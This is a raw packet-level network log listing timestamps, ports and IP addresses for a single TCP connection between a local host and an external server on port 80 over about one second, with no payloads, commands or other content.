Nov 24, 2024 02:13:23.452280045 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.452307940 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.452426910 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.453002930 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.453126907 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.453170061 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.453869104 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.453922987 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.453969955 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.454062939 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.454679012 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.454755068 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.454799891 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.454931974 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.455526114 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.455625057 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.455647945 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.455661058 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.456350088 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.456402063 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.456450939 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.456871033 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.457189083 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.457233906 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.457277060 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.457396030 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.458038092 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.458085060 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.458129883 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.458323956 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.458868027 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.458914042 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.458961964 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.459129095 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.459697008 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.459830046 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.459881067 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.460534096 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.460638046 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.460680008 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.461359024 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.461409092 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.461476088 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.461646080 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.462217093 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.462270975 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.462321997 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.462429047 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.463074923 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.463129997 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.463165045 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.463252068 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.463896036 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.464051962 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.464061022 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.464176893 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.464709044 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.464756012 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.464797974 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.464946032 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.465548038 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.465619087 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.465671062 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.466387987 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.466439009 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.466489077 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.466593981 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.467235088 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.467283964 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.467353106 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.467758894 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.468058109 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.468112946 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.468137980 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.468271017 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.468899965 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.468952894 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.468997002 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.469173908 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.469728947 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.469818115 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.469871044 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.470558882 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.470611095 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.470884085 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.470931053 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.471407890 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.471457958 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.471502066 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.471956968 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.472244024 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.472294092 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.472337008 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.472439051 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.473109961 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.473155022 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.473242044 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.473961115 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.474015951 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.474015951 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.474180937 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.474749088 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.474858999 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.474909067 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.475601912 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.475651979 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.475696087 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.475805998 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.476433992 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.476479053 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.476548910 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.476958036 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.477269888 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.477386951 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.477427006 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.478115082 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.478163958 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.478209019 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.478739023 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.478935003 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.478982925 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.479052067 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.479145050 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.479749918 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.479800940 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.479872942 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.480009079 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.480590105 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.480637074 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.559370041 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.559495926 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.559500933 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.559647083 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.559674978 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.559750080 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.559813976 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.559854984 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.560569048 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.560647011 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.560779095 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.560826063 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.561353922 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.561419010 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.561423063 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.561530113 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.562184095 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.562231064 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.562321901 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.562369108 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.562983036 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.563030005 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.563074112 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.563122988 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.563817024 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.563872099 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.563899040 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.563982010 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.644555092 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.644609928 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.644628048 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.644679070 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.644890070 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.644937038 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.645004988 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.645044088 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.645725965 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.645772934 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.645843983 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.645899057 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.646548033 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.646593094 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.646641016 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.646696091 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.647378922 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.647396088 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.647428036 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.647445917 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.648169041 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.648217916 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.648262024 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.648300886 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.648977995 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.649027109 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.649089098 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.649127007 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.649799109 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.649844885 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.649919987 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.649976015 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.650643110 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.650686979 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.650728941 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.650767088 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.651443958 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.651490927 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.651535034 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.651631117 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.652270079 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.652390003 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.652450085 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.653109074 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.653177977 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.653228045 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.653276920 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.653917074 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.654006004 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.654079914 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.654189110 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.654755116 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.654772043 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.654866934 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.655549049 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.655590057 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.655651093 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.655692101 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.656378031 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.656496048 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.656559944 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.657238960 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.657299042 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.657339096 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.657402992 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.658042908 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.658097982 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.658123970 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.658159018 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.658837080 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.658885956 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.658951998 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.659660101 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.659709930 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.659754992 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.660290003 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.660475016 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.660525084 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.660571098 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.660676003 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.661317110 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.661365986 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.661416054 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.661566019 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.662117958 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.662182093 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.662201881 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.662381887 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.662923098 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.662986040 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.663024902 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.663127899 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.663748980 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.663845062 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.663873911 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.664336920 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.664568901 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.664633989 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.664683104 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.664798975 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.665378094 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.665436029 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.665481091 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.665890932 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.666203976 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.666265965 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.666302919 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.666392088 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.667031050 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.667089939 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.667133093 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.667278051 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.667857885 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.667920113 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.667982101 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.668107033 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.668684959 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.668751955 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.668790102 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.668893099 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.669504881 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.669610023 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.669671059 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.670304060 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.670422077 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.670507908 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.671123028 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.671179056 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.671226025 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.671365023 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.671962976 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.672008038 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.672045946 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.672182083 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.672768116 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.672813892 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.672895908 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.673053026 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.673604965 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.673675060 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.673715115 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.674284935 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.674410105 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.674479008 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.674520969 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.675225019 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.675282955 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.675329924 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.675554037 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.676050901 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.676172972 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.676862001 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.676918030 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.677181005 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.677344084 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.677685022 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.677798986 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.678517103 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.678570986 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.678606033 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.679336071 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.679430008 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:23.679476976 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.724785089 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:23.844285011 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.170754910 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.170788050 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.170864105 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.170864105 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.171030998 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.171117067 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.171156883 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.171273947 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.171868086 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.171926975 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.171941042 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.172163010 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.172483921 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.172538996 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.172557116 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.172595978 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:24.173348904 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:24.173399925 CET	49748	80	192.168.2.4	185.215.113.206
